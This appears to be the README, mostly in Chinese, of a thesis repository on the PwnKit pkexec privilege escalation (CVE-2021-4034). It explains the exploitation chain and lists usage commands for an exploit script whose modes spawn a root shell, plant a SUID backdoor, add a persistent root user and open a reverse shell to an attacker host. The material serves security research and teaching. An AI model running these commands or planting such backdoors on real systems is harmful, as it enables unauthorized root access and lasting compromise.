
Advanced Linux Privilege Escalation research on CVE-2021-4034 (PwnKit). Features an optimized exploit with 7 polymorphic payload modes (Interactive Shell, Backdoor, User Creation, Reverse Shell, etc). Portfolio piece focused on memory corruption logic, environment variable manipulation, and anti-forensic techniques.
polkit 的 pkexec 实用程序中的内存损坏漏洞
本地权限提升 → 通过越界写入获得 root 权限
受影响版本:polkit 0.105-31 及更早版本 · 补丁版本:polkit 0.105-33(2022 年 1 月)
通过 CVE-2021-4034 - PwnKit 获取的交互式 root shell
本仓库包含我关于 CVE-2021-4034 的 硕士论文研究。这是一个高严重性(CVSS 7.8)的 本地权限提升 漏洞,存在于 polkit 的 pkexec 实用程序中,通常被称为 PwnKit。
该漏洞源于 pkexec 参数处理逻辑中的 越界写入。当 pkexec 以空或精心构造的 argv 执行时,它会读取并写入超出 argv 数组边界的数据,进入 envp 数组,从而允许非特权本地用户注入恶意环境变量,这些变量随后被作为共享库加载,以 root 权限执行任意代码。
| 方面 | 描述 |
|---|---|
| 多载荷漏洞利用 | Python 包装器,包含 6 种载荷模式,包括 shell、id、后门和反向 shell |
| 自动化环境设置 | 自动构建 GCONV_PATH 并配置 gconv-modules |
CVE-2021-4034/
├── README.md # 本文件
├── LICENSE # MIT 许可证
│
├── exploit/
│ └── pwnkit.py # 包含多种载荷的高级漏洞利用程序
│
└── docs/
├── screenshots/ # 利用演示截图
│ ├── 01-pwnkit-shell.png
│ ├── 02-pwnkit-id.png
│ ├── 03-pwnkit-whoami.png
│ ├── 04-pwnkit-backdoor.png
│ ├── 05-pwnkit-add-user.png
│ ├── 06-pwnkit-reverse.png
│ └── 07-pwnkit-custom.png
│
└── analysis/
├── 01-root-cause.md # 漏洞根本原因分析
├── 02-exploitation-chain.md # 利用链分解
└── 03-timeline.md # CVE 时间线
pkexec --version 显示为 0.105 或更早版本)apt install gcc)# 交互式 root shell(默认)
python3 exploit/pwnkit.py -p shell
# 验证执行上下文
python3 exploit/pwnkit.py -p whoami
# 以 root 身份执行自定义命令
python3 exploit/pwnkit.py -p custom -c "id"
# 在 /tmp/.sh 创建 SUID 后门
python3 exploit/pwnkit.py -p backdoor_suid
# 添加持久的 root 用户
python3 exploit/pwnkit.py -p add_root_user --username backdoor --password mypassword
# 反向 shell
python3 exploit/pwnkit.py -p reverse_shell --lhost 192.168.1.10 --lport 4444
pkexec 处理自身的 argv 以定位要运行的程序。当以 argc == 0(空参数向量)调用时,对 argv 的边界检查会静默失败。随后的越界读取将 envp[0] 当作 argv[1] 处理,而向 envp 的越界写入允许攻击者用精心构造的路径替换环境变量。当 pkexec 随后调用 g_printerr() 时,它会从现已受攻击者控制的环境中加载 GCONV_PATH,从而加载攻击者提供的共享库并赋予其 root 权限。
argc == 0 → argv[1] 读取 envp[0]
argv[1] = "GCONV_PATH=." (写回 envp)
pkexec 加载 ./pwnkit.so (攻击者控制的共享库)
gconv_init() 以 root 权限执行
1. 构造 argv = { NULL } → argc = 0,触发越界访问
2. 设置 envp[0] = "pwnkit.so:."
3. 设置 envp[1] = "PATH=GCONV_PATH=."
4. pkexec 将 "pwnkit.so:." 越界写入 envp[0],当作 argv[1]
5. pkexec 解析 GCONV_PATH=. 并加载 gconv-modules
6. gconv-modules 将 "PWNKIT" 字符集映射到 pwnkit.so
7. 以 root 权限调用 pwnkit.so:gconv_init()
8. 执行载荷(shell / 后门 / 反向 shell 等)







所有测试均在隔离的 VirtualBox 虚拟机上进行,运行 Ubuntu 20.04 LTS,polkit 版本为 0.105-26(存在漏洞),未暴露在网络环境中。
本研究是我攻读 网络安全硕士学位(UCAM — 国际网络安全校区)的一部分,分析了多种环境下的 N-Day 漏洞。
本 CVE 代表论文中的 Linux 本地权限提升 向量,展示了:
关键词: LPE · Polkit · pkexec · SUID · GCONV_PATH · CVE-2021-4034 · PwnKit
Annais Molina (devianntsec) — 网络安全硕士生
MIT 许可证 — 参见 LICENSE
本仓库 仅用于教育和安全研究目的,作为学术硕士论文的一部分。所有测试均在隔离的虚拟机上执行,未暴露在网络环境中。仅在你拥有或已获得明确书面授权测试的系统上使用。未经授权对系统使用是非法行为,可能导致刑事起诉。
| SUID 后门、创建 root 用户、自定义命令执行 |
| 学术文档 | 根本原因分析、利用链、漏洞时间线 |
| 载荷 | 描述 | 输出 |
|---|
shell | 以 root 身份生成交互式 /bin/sh | 交互式 shell |
id | 将 id 和 whoami 的输出写入 /tmp/pwnkit_id.txt | 文件 |
whoami | 将 UID/eUID 验证写入 /tmp/pwnkit_root_test | 文件 |
backdoor_suid | 在 /tmp/.sh 创建 SUID root 的 bash 副本 | 持久后门 |
add_root_user | 将自定义用户追加到 /etc/passwd | 持久访问 |
reverse_shell | 通过 Python 回连到攻击者 | 远程 shell |
custom | 以 root 身份执行任意命令 | 标准输出 / 文件 |
| 组件 | 值 | 备注 |
|---|
| 存在漏洞的二进制文件 | /usr/bin/pkexec | SUID root |
| 触发条件 | argc == 0 | 空 argv |
| 写入原语 | 向 envp 越界写入 | 通过 argv[argc-1] |
| 加载机制 | GCONV_PATH + gconv-modules | 标准 glibc iconv |
| 执行上下文 | 共享库中的 gconv_init() | 以 EUID 0 运行 |
| 受影响版本 | polkit ≤ 0.105-31 | 所有主流 Linux 发行版 |
| 载荷 | 结果 | 备注 |
|---|
shell | ✅ 获取 root shell | 立即获得交互式访问 |
id | ✅ 确认 uid=0(root) | 输出位于 /tmp/pwnkit_id.txt |
whoami | ✅ 确认 root | UID/eUID = 0 |
backdoor_suid | ✅ 在 /tmp/.sh 上设置 SUID 位 | 利用后持久存在 |
add_root_user | ✅ 创建自定义用户 | 重启后仍然存在 |
reverse_shell | ✅ 建立连接 | Python 反向 shell 正常工作 |
custom | ✅ 任意命令执行 | 完整 root 上下文 |
| 发现、披露和补丁时间线 |